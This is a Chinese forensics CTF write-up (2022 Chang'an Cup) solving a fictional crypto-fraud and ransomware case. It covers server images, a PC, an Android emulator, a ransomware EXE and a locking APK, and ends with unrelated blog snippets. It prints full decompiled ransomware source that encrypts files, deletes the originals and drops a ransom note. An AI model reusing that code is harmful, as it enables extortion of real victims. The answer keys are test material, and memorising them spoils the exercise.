2022长安杯复现
案件情况
某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用“USTD 币”购买所谓的“HT 币”,受害人充 值后不但“HT 币”无法提现、交易,而且手机还被恶意软件锁定 勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服 务器镜像并对案件展开侦查。
检材1
1、检材1的SHA256值为:
火眼打开之后计算出希哈值:9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
2、 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2【172.16.80.100】
仿真出来last命令
172.16.80.100
3、 检材1中,操作系统发行版本号为
Cntos Linux release 7.5.1804 (Core)
cat /etc/redhat-release
4、 检材1系统中,网卡绑定的静态IP地址为
172.16.80.133
ifconfig命令查看即可
5、检材1中,网站jar包所存放的目录是 (答案为绝对路径,如“/home/honglian/”)
/web/app
查看历史命令,发现多次进入/web/app
目录,并执行npm等指令,进入后发现有多个jar包,确定为网站jar包所存放目录
6、检材1中,监听7000端口的进程对应文件名为
cloud.jar
导出所有jar包放入Java反编译工具(此时遇到打不开的情况,可以重新去检验镜像哈希,应该是镜像损坏,导致导出的jar包损坏)
7、检材1中,网站管理后台页面对应的网络端口为【9090】
在检材二的charm浏览器的历史记录中
8、 检材1中,网站前台页面里给出的APK的下载地址是
网站启动起来
3000端口出现app下载,扫描二维码
可以知道网址是https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
9. 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?
导出admin所在jar包,搜索password:可以发现密码和验证码的加密方式都为MD5
10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是
XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
定位md5Key
最后发现MD5.key即为加密算法的盐值
检材2
11. 检材2中,windows账户Web King的登录密码是
135790
通过分析软件,可以看到密码
12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3
172.16.80.128
查看xshell的连接记录,可以发现
已知检材1的IP是:172.16.80.133
所以在分析结果中排除172.16.80.133,另一个IP即是答案
13. 检材2中,powershell中输入的最后一条命令是
ipconfig
powershell命令的默认存储目录\Users\[user]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,在该路径下也可以找到
14. 检材2中,下载的涉案网站源代码文件名为
ZTuoExchange_framework-master.zip
谷歌浏览器里有相应的zip下载记录,导出文件
15. 检材2中,网站管理后台root账号的密码为
root
在谷歌浏览器保存了账号和密码
16. 检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)
Ubuntu 20.04
仿真过后通过命令wsl -l
可以获取到
或者通过分析程序发现,命令都是在20.04
中输入的
17. 检材2中,运行的数据库服务版本号是(答案格式如下:10.1)
8.0.30
通过分析程序查看,可以看到版本号
18. 上述数据库debian-sys-maint用户的初始密码是
mysql的debian-sys-maint
的初始密码保存在mysql目录的配置文件debian.cnf
中
数据库是在wsl子系统中运行的,因此需要定位到子系统目录C:\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs
19. 检材3服务器root账号的密码是
h123456
系统SSH历史输入命令中,发现曾使用sshpass对172.16.80.128进行连接,连接密码为h123456
检材三
根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题
通过第12题答案,解压检材3
20. 检材3中,监听33050端口的程序名(program name)为
docker-proxy
在历史命令中发现嫌疑人进入了/data/mysql 之后使用了docker-compose up
进入目录后,查看docker-compose.yml配置文件,发现使用了33050,尝试启动后发现program name
netstat -tunlp
21. 除MySQL外,该网站还依赖以下哪种数据库
在对admin-api.jar的逆向分析中,发现使用了redis以及mongodb
22. 检材3中,MySQL数据库root账号的密码是
admin-api.jar中也可分析出密码
23. 检材3中,MySQL数据库在容器内部的数据目录为
通过进入容器内部找到相关信息
docker exec -it 8eda4cb0b452 bash
24. 涉案网站调用的MySQL数据库名为、
b1
25. 勒索者在数据库中修改了多少个用户的手机号?
在 docker 中的 /var/lib/mysql 目录下,根据 docker-compose 的配置映射到宿主机上就在 /data/mysql/db 目录下,8eda4cb0b452.log可以导出来查看,比较方便,问修改的数量,过滤 update 关键字,在日志中有 8 处匹配,但实际上有关 mobile_phone 的日志只有 3 条
2022-10-18T08:48:06.120268Z 8 Query update admin set last_login_time='2022-10-18 04:48:06.114', last_login_ip=null where id=1
2022-10-18T08:48:21.016425Z 8 Query update admin set last_login_time='2022-10-18 04:48:21.023', last_login_ip='172.16.80.100' where id=1
2022-10-18T09:38:56.117223Z 9 Query update admin set last_login_time='2022-10-18 05:38:56.113', last_login_ip='172.16.80.197' where id=1
2022-10-19T03:20:39.001499Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9
2022-10-19T03:20:41.851525Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10
2022-10-19T03:20:44.184953Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11
2022-10-19T05:34:00.075764Z 10 Query select count(a.id) from member a , member_application b where a.id = b.member_id and b.audit_status = 2 and date_format(b.update_time,'%Y-%m-%d') = '2022-10-18'
2022-10-20T03:18:25.478485Z 10 Query update admin set last_login_time='2022-10-19 23:18:25.461', last_login_ip='172.16.80.100' where id=1
26. 勒索者在数据库中删除的用户数量为
28
在log文件中可以搜索到有批量删除的记录,delete from b1 member··
,记数一下有28个
27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压 检材4
172.16.80.197
用数据库分析工具来分析一下,172.16.80.197
登录了管理后台的网址
28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为
cee631121c2ec9232f3a2f028ad5c89b
在member_wallet表
中,找到ID=500的用户,得到
29. 还原全部被删改数据,共有多少名用户的会员等级为’LV3’
将member数据库导出成csv结构,筛选出member_grade_id=3,有158条。但我们还要还原数据,实际上 member 表中还有 28 条被删除的用户记录,28 个用户中有6个 LV3,共164个
“SELECT count(member_grade_id) FROM member WHERE member_grade_id=3”
30. 还原全部被删改数据,哪些用户ID没有充值记录
318,989
SELECT id from member where id not in (select member_id from member_transaction)
31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?
1000
select count(*) from member_transaction where create_time BETWEEN "2022-10-17 00:00:00" and "2022-10-17 23:59:59"
32. 还原全部被删改数据,该网站中充值的USDT总额为
408228
select sum(amount) from member_transaction
检材四
根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题
修改文件为zip,然后打开发现vmdk文件,导入火眼中分析
33. 嫌疑人使用的安卓模拟器软件名称是
夜神模拟器
34. 检材4中,“老板”的阿里云账号是
forensixtech1
35.检材4中安装的VPN工具的软件名称是
v2Ray
配置信息里面就有
36. 上述VPN工具中记录的节点IP是
38.68.135.18
37. 检材4中,录屏软件安装时间为
2022-10-19 10:50:27
通过apk的位置找到软件的包名
回到火眼
38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为
0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d
在目录/storage/emulated/0/Android/data/com.jiadi.luping/files 下找到录屏文件
39. 上述录屏软件登录的手机号是
18645091802
通过导出record.db还有record.db-wal文件,导入DB Brower中分析得到
40. 检材4中,发送勒索邮件的邮箱地址为
skterran@163.com
火眼直接分析得到
EXE分析
分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题
41.分析加密程序,编译该加密程序使用的语言是
python
42. 分析加密程序,它会加密哪些扩展名的文件?
txt.jpg.docx.xls
参考文章:pyinstaller打包成exe的反向解析工具(pyinstxtractor.py和uncompyle6) - 简书
python pyinstxtractor.py encrypt_file.exe
在解析生成的encrypt_file.exe_extracted
目录中的PYZ-00.pyz_extracted
目录
找一个.pyc
文件复制前12字节16进制到encrypt_file_1
前面
用uncompyle6进行反编译
uncompyle6 .\encrypt_file_1.pyc >123.py
反编译成功
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: encrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\n(有风险提示所以删除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"class XORCBC:def __init__(self, key: bytes):self.key = bytearray(key)self.cur = 0def encrypt(self, data: bytes) -> bytes:data = bytearray(data)for i in range(len(data)):tmp = data[i]data[i] ^= self.key[self.cur]self.key[self.cur] = tmpself.cur = (self.cur + 1) % len(self.key)return bytes(data)print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')def run_finall():for filepath, dirnames, filenames in os.walk(os.getcwd()):for filename in filenames:if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:ExtensionPath = os.path.splitext(filename)[(-1)]if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:time.sleep(3)data_file = os.path.join(filepath, filename)rsakey = RSA.import_key(pubkey)cipher = Cipher_pkcs1_v1_5.new(rsakey)xor_key = os.urandom(16)xor_obj = XORCBC(xor_key)outf = open(data_file + '_encrypted', 'wb')encrypted_xor_key = cipher.encrypt(xor_key)outf.write(encrypted_xor_key)buffer_size = 4096with open(data_file, 'rb') as (f):while True:data = f.read(buffer_size)if not data:breakoutf.write(xor_obj.encrypt(data))outf.close()os.remove(data_file)run_finall()def redme():try:dir = os.path.join(os.path.expanduser('~'), 'Desktop')print(dir)with open(dir + '/!READ_ME.txt', 'w') as (ff):ff.write(msg)except:dir1 = os.getcwd()print(dir1)with open(dir1 + '/!READ_ME.txt', 'w') as (ff):ff.write(msg)print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
# okay decompiling .\encrypt_file_1.pyc
“if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:”-----------------是对txt.jpg.docx.xls的文件进行加密
43. 分析加密程序,是通过什么算法对文件进行加密的?
data_file = os.path.join(filepath, filename)rsakey = RSA.import_key(pubkey)cipher = Cipher_pkcs1_v1_5.new(rsakey)xor_key = os.urandom(16)xor_obj = XORCBC(xor_key)outf = open(data_file + '_encrypted', 'wb')encrypted_xor_key = cipher.encrypt(xor_key)outf.write(encrypted_xor_key)buffer_size = 4096with open(data_file, 'rb') as (f):while True:data = f.read(buffer_size)if not data:breakoutf.write(xor_obj.encrypt(data))outf.close()os.remove(data_file)
首先把公钥
导入,生成一个rsakey
,然后把rsakey
通过cipher
加密生成了一个cipher字符串
随后通过cipher
加密了xor_key
,xor_key
是一个随机的16位字符串(os.urandom(16)),因此是outf.write(encrypted_xor_key)
加密了文件
异或加密
class XORCBC:def __init__(self, key: bytes):self.key = bytearray(key)self.cur = 0def encrypt(self, data: bytes) -> bytes:data = bytearray(data)for i in range(len(data)):tmp = data[i]data[i] ^= self.key[self.cur]self.key[self.cur] = tmpself.cur = (self.cur + 1) % len(self.key)return bytes(data)
44. 分析加密程序,其使用的非对称加密方式公钥后5位为?
根据解密后的内容得到公钥
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
可以得到u+w==
45. 被加密文档中,FLAG1的值是
TREFWGFS
通过相同的方法,对decrypt_file.exe进行逆向
随后得到的密码为:4008003721
使用该密码解密
apk分析
46. 恶意APK程序的包名为
cn.forensix.changancup
通过第8
题得到的链接下载apk并分析,jadx
打开看到包名
47. APK调用的权限包括
READ_EXTERNAL_STORAGE|WRITE_EXTERNAL_STORAGE
继续查看AndroidManifest.xml
,得到权限
48. 解锁第一关所使用的FLAG2值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")
MATSFRKG
利用雷电进行一键脱壳
脱壳后反编译jadx
直接搜索FLAG2
,可以看到结果
49. 解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")
找到了mainactivity
,分析flag2周围的函数
找到加密的地方
} else if (App.OooO0O0.OooO0oo.equals(this.OooO0o0.getText().toString()) && App.OooO0OO.edit().putInt("unlocked", App.OooO0OO.getInt("unlocked", 0) | 2).commit()) {StringBuilder OooO0OO2 = C0261o0000Oo.OooO0OO(App.OooO0OO.getString("flag16_tkey", ""));OooO0OO2.append(App.OooO0O0.OooO0oo);if (App.OooO0OO.edit().putString("flag16_tkey", OooO0OO2.toString()).commit()) {App.OooO0Oo();System.out.println("delay lock screen close");OooO00o();}
this.OooO0oo = new String(decrypt(OooO0O0.OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));
分析可得进行了两次加密
decrypt函数:
public native byte[] decrypt(byte[] bArr);public native byte[] encrypt(byte[] bArr);public native void init(byte[] bArr);
init
函数调用了libcipher.so
对密文进行了解密,与输入的值进行比较,最终判断是否正确
package com.example.hanshu;
import android.app.Application;
import android.util.Log;public class App extends Application {static {System.loadLibrary("cipher");}public native byte[] decrypt(byte[] bArr);public native byte[] encrypt(byte[] bArr);public native void init(byte[] bArr);public static void main(){String out = new String(new App().decrypt(OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));System.out.println("ocipher:"+out);}public static byte[] OooO0O0(String str){int length = str.length() / 2;byte[] bArr = new byte[length];for (int i =0; i < length; i++){int i2 = i +2;bArr[i] = (byte) Integer.parseInt(str.substring(i2, i2+2), 16);}return bArr;}}
最后连接模拟器,将此apk推送到模拟器中,查看日志,即可找到FLAG3
FLAG3:TDQ2UWP9
50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值
限制输入24个字符串,然后分成四位一组分成六组数,
密码由全部可显示的ASCII
码组成,在标准的ASCII
表中,可打印的字符的编码范围是33-126
,在代码中是对分为6组的数组依次判断,也就是说我们可以通过每4位
爆破的方式,组成全部的密码
public class Test{static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};public static long[] OooO(long j, long j2) {if (j == 0) {return new long[]{0, 1};}long[] OooO = OooO(j2 % j, j);return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};}public static void main(String[] args) {String res = "";for (int i = 0; i < 6; i++) {//4层循环遍历4位字符串for (int a1 = 33; a1 < 127; a1++) {for (int a2 = 33; a2 < 127; a2++) {for (int a3 = 33; a3 < 127; a3++) {for (int a4 = 33; a4 < 127; a4++) {long tmp = (long) (a1 << 16);tmp = tmp | ((long) (a2 << '\b'));tmp = tmp | ((long) (a3 << 24));tmp = ((long) a4) | tmp;if (((OooO(tmp, 0x100000000L)[0] % 0x100000000L) + 0x100000000L) % 0x100000000L == ((long) OooO0oO[i])) {res += (char)a1;res += (char)a2;res += (char)a3;res += (char)a4;//获取到当前密码后,跳出4层循环a1 = a2 = a3 = a4 = 128;}}}}}}System.out.println(res);}
}
运行结果
a_asd./1imc2)dd1234]_+=+
相关文章:

2022长安杯复现
案件情况 某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用“USTD 币”购买所谓的“HT 币”,受害人充 值后不但“HT 币”无法提现、交易,而且手机还被恶意软件锁定 勒索。警方根据受害人提供的虚拟币交易网站调取了对应…...

Netty Review - NioEventLoopGroup源码解析
文章目录 概述类继承关系源码分析小结 概述 EventLoopGroup bossGroup new NioEventLoopGroup(1); EventLoopGroup workerGroup new NioEventLoopGroup();这段代码是在使用Netty框架时常见的用法,用于创建两个不同的EventLoopGroup实例,一个用于处理连…...

团队配置管理规范浅见
在一段时间的工作过程中配置管理工作确实对我们的生产活动产生了巨大的工作量,现在就这个工作来进行梳理一下。 本文主要分为两部分: 1、借用软件系统分析师的配置管理部分内容来介绍配置管理的工作(原谅时间精力有限,原文基本已…...

「算法」二分查找1:理论细节
🎇个人主页:Ice_Sugar_7 🎇所属专栏:算法详解 🎇欢迎点赞收藏加关注哦! 二分查找算法简介 这个算法的特点就是:细节多,出错率高,很容易就写成死循环有模板,但…...

【网络安全】什么样的人适合学?该怎么学?
有很多想要转行网络安全或者选择网络安全专业的人在进行决定之前一定会有的问题: 什么样的人适合学习网络安全?我适不适合学习网络安全? 当然,产生这样的疑惑并不奇怪,毕竟网络安全这个专业在2017年才调整为国家一级…...

从零开始学习数据结构—【链表】—【探索环形链的设计之美】
环形链表 文章目录 环形链表1.结构图2.具体实现2.1.环形链表结构2.2.头部添加数据2.2.1.具体实现2.2.2.测试添加数据 2.3.尾部添加数据2.3.1.具体实现2.3.2.添加测试数据 2.4.删除头部数据2.4.1.具体实现2.4.2.测试删除数据 2.5.删除尾部数据2.5.1.具体实现2.5.2.测试删除数据 …...

AJAX——HTTP协议
1 HTTP协议-请求报文 HTTP协议:规定了浏览器发送及服务器返回内容的格式 请求报文:浏览器按照HTTP协议要求的格式,发送给服务器的内容 1.1 请求报文的格式 请求报文的组成部分有: 请求行:请求方法,URL…...

java面试微服务篇
目录 目录 SpringCloud Spring Cloud 的5大组件 服务注册 Eureka Nacos Eureka和Nacos的对比 负载均衡 负载均衡流程 Ribbon负载均衡策略 自定义负载均衡策略 熔断、降级 服务雪崩 服务降级 服务熔断 服务监控 为什么需要监控 服务监控的组件 skywalking 业务…...

JS进阶——垃圾回收机制以及算法
版权声明 本文章来源于B站上的某马课程,由本人整理,仅供学习交流使用。如涉及侵权问题,请立即与本人联系,本人将积极配合删除相关内容。感谢理解和支持,本人致力于维护原创作品的权益,共同营造一个尊重知识…...

【快速解决】python项目打包成exe文件——vscode软件
目录 操作步骤 1、打开VSCode并打开你的Python项目。 2、在VSCode终端中安装pyinstaller: 3、运行以下命令使用pyinstaller将Python项目打包成exe文件: 其中your_script.py是你的Python脚本的文件名。 4、打包完成后,在你的项目目录中会…...

数据结构——lesson3单链表介绍及实现
目录 1.什么是链表? 2.链表的分类 (1)无头单向非循环链表: (2)带头双向循环链表: 3.单链表的实现 (1)单链表的定义 (2)动态创建节点 &#…...

中科大计网学习记录笔记(八):FTP | EMail
前言: 学习视频:中科大郑烇、杨坚全套《计算机网络(自顶向下方法 第7版,James F.Kurose,Keith W.Ross)》课程 该视频是B站非常著名的计网学习视频,但相信很多朋友和我一样在听完前面的部分发现信…...

QPaint绘制自定义坐标轴组件00
最终效果 1.创建一个ui页面,修改背景颜色 鼠标右键->改变样式表->添加颜色->background-color->选择合适的颜色->ok->Apply->ok 重新运行就可以看到widget的背景颜色已经改好 2.创建一个自定义的widget窗口小部件类,class MyChart…...

MATLAB|基于改进二进制粒子群算法的含需求响应机组组合问题研究(含文献和源码)
目录 主要内容 模型研究 1.改进二进制粒子群算法(BPSO) 2.模型分析 结果一览 下载链接 主要内容 该程序复现《A Modified Binary PSO to solve the Thermal Unit Commitment Problem》,主要做的是一个考虑需求响应的机组组合…...

JDBC核心技术
第1章 JDBC概述 第2章 获取数据库连接 第3章 使用PreparedStatement实现CRUD操作 第4章 操作BLOB类型字段 第5章 批量插入 第6章 数据库事务 第7章 DAO及相关实现类 第8章 数据库连接池 第9章 Apache-DBUtils实现CRUD操作图像 小部件...

【天幕系列 02】开源力量:揭示开源软件如何成为技术演进与社会发展的引擎
文章目录 导言01 开源软件如何推动技术创新1.1 开放的创新模式1.2 快速迭代和反馈循环1.3 共享知识和资源1.4 生态系统的建设和扩展1.5 开放标准和互操作性 02 开源软件的商业模式2.1 支持和服务模式2.2 基于订阅的模式2.3 专有附加组件模式2.4 开源软件作为平台模式2.5 双重许…...

“挖矿”系列:细说Python、conda 和 pip 之间的关系
继续挖矿,挖“金矿”! 1. Python、conda 和 pip(挖“金矿”工具) Python、conda 和 pip 是在现代数据科学和软件开发中常用的工具,它们各自有不同的作用,但相互之间存在密切的关系: Python&…...

【自然语言处理】实验3,文本情感分析
清华大学驭风计划课程链接 学堂在线 - 精品在线课程学习平台 (xuetangx.com) 代码和报告均为本人自己实现(实验满分),只展示主要任务实验结果,如果需要详细的实验报告或者代码可以私聊博主 有任何疑问或者问题,也欢…...

2.12日学习打卡----初学RocketMQ(三)
2.12日学习打卡 目录: 2.12日学习打卡一. RocketMQ高级特性(续)消息重试延迟消息消息查询 二.RocketMQ应用实战生产端发送同步消息发送异步消息单向发送消息顺序发送消息消费顺序消息全局顺序消息延迟消息事务消息消息查询 一. RocketMQ高级特…...

<网络安全>《35 网络攻防专业课<第一课 - 网络攻防准备>》
1 主要内容 认识黑客 认识端口 常见术语与命令 网络攻击流程 VMWare虚拟环境靶机搭建 2 认识黑客 2.1 白帽、灰帽和黑帽黑客 白帽黑客是指有能力破坏电脑安全但不具恶意目的黑客。 灰帽黑客是指对于伦理和法律态度不明的黑客。 黑帽黑客经常用于区别于一般(正面…...

【实战】一、Jest 前端自动化测试框架基础入门(一) —— 前端要学的测试课 从Jest入门到TDD BDD双实战(一)
文章目录 一、前端要学的测试课1.前端要学的测试2.前端工程化的一部分3.前端自动化测试的例子4.前端为什么需要自动化测试?5.课程涵盖内容6.前置技能7.学习收获 二、Jest 前端自动化测试框架基础入门1. 自动化测试背景及原理前端自动化测试产生的背景及原理 2.前端自…...

蓝桥杯Java组备赛(二)
题目1 import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in);int n sc.nextInt();int max Integer.MIN_VALUE;int min Integer.MAX_VALUE;double sum 0;for(int i0;i<n;i) {int x sc.nextInt()…...

人力资源智能化管理项目(day10:首页开发以及上线部署)
学习源码可以看我的个人前端学习笔记 (github.com):qdxzw/humanResourceIntelligentManagementProject 首页-基本结构和数字滚动 安装插件 npm i vue-count-to <template><div class"dashboard"><div class"container"><!-- 左侧内…...

Conda管理Python不同版本教程
Conda管理Python不同版本教程 目录 0.前提 1.conda常用命令 2.conda设置国内源(以添加清华源为例,阿里云源同样) 3.conda管理python库 4.其它 不太推荐 pyenv管理Python不同版本教程(本人另一篇博客,姊妹篇&…...

free pascal:fpwebview 组件通过 JSBridge 调用本机TTS
从 https://github.com/PierceNg/fpwebview 下载 fpwebview-master.zip 简单易用。 先请看 \fpwebview-master\README.md cd \lazarus\projects\fpwebview-master\demo\js_bidir 学习 js_bidir.lpr ,编写 js_bind_speak.lpr 如下,通过 JSBridge 调用本…...

数据结构——单链表专题
目录 1. 链表的概念及结构2. 实现单链表初始化尾插头插尾删头删查找在指定位置之前插入数据在指定位置之后插入数据删除指定位之前的节点删除指定位置之后pos节点销毁链表 3. 完整代码test.cSList.h 4. 链表的分类 1. 链表的概念及结构 在顺序表中存在一定的问题: …...

Linux:开源世界的王者
在科技世界中,Linux犹如一位低调的王者,统治着开源世界的半壁江山。对于许多技术爱好者、系统管理员和开发者来说,Linux不仅仅是一个操作系统,更是一种信仰、一种哲学。 一、开源的魅力 Linux的最大魅力在于其开源性质。与封闭的…...

⭐北邮复试刷题103. 二叉树的锯齿形层序遍历 (力扣每日一题)
103. 二叉树的锯齿形层序遍历 给你二叉树的根节点 root ,返回其节点值的 锯齿形层序遍历 。(即先从左往右,再从右往左进行下一层遍历,以此类推,层与层之间交替进行)。 示例 1:输入:…...

文件上传漏洞--Upload-labs--Pass07--点绕过
一、什么是点绕过 在Windows系统中,Windows特性会将文件后缀名后多余的点自动删除,在网页源码中,通常使用 deldot()函数 对点进行去除,若发现网页源代码中没有 deldot() 函数,则可能存在 点绕过漏洞。通过点绕过漏洞&…...

MySQL高级特性篇(1)-JSON数据类型的应用
MySQL是一种常用的关系型数据库管理系统,它提供了多种数据类型,其中包括JSON数据类型。JSON(JavaScript Object Notation)是一种常用的数据交换格式,它以键值对的形式组织数据,并支持嵌套和数组结构。MySQL…...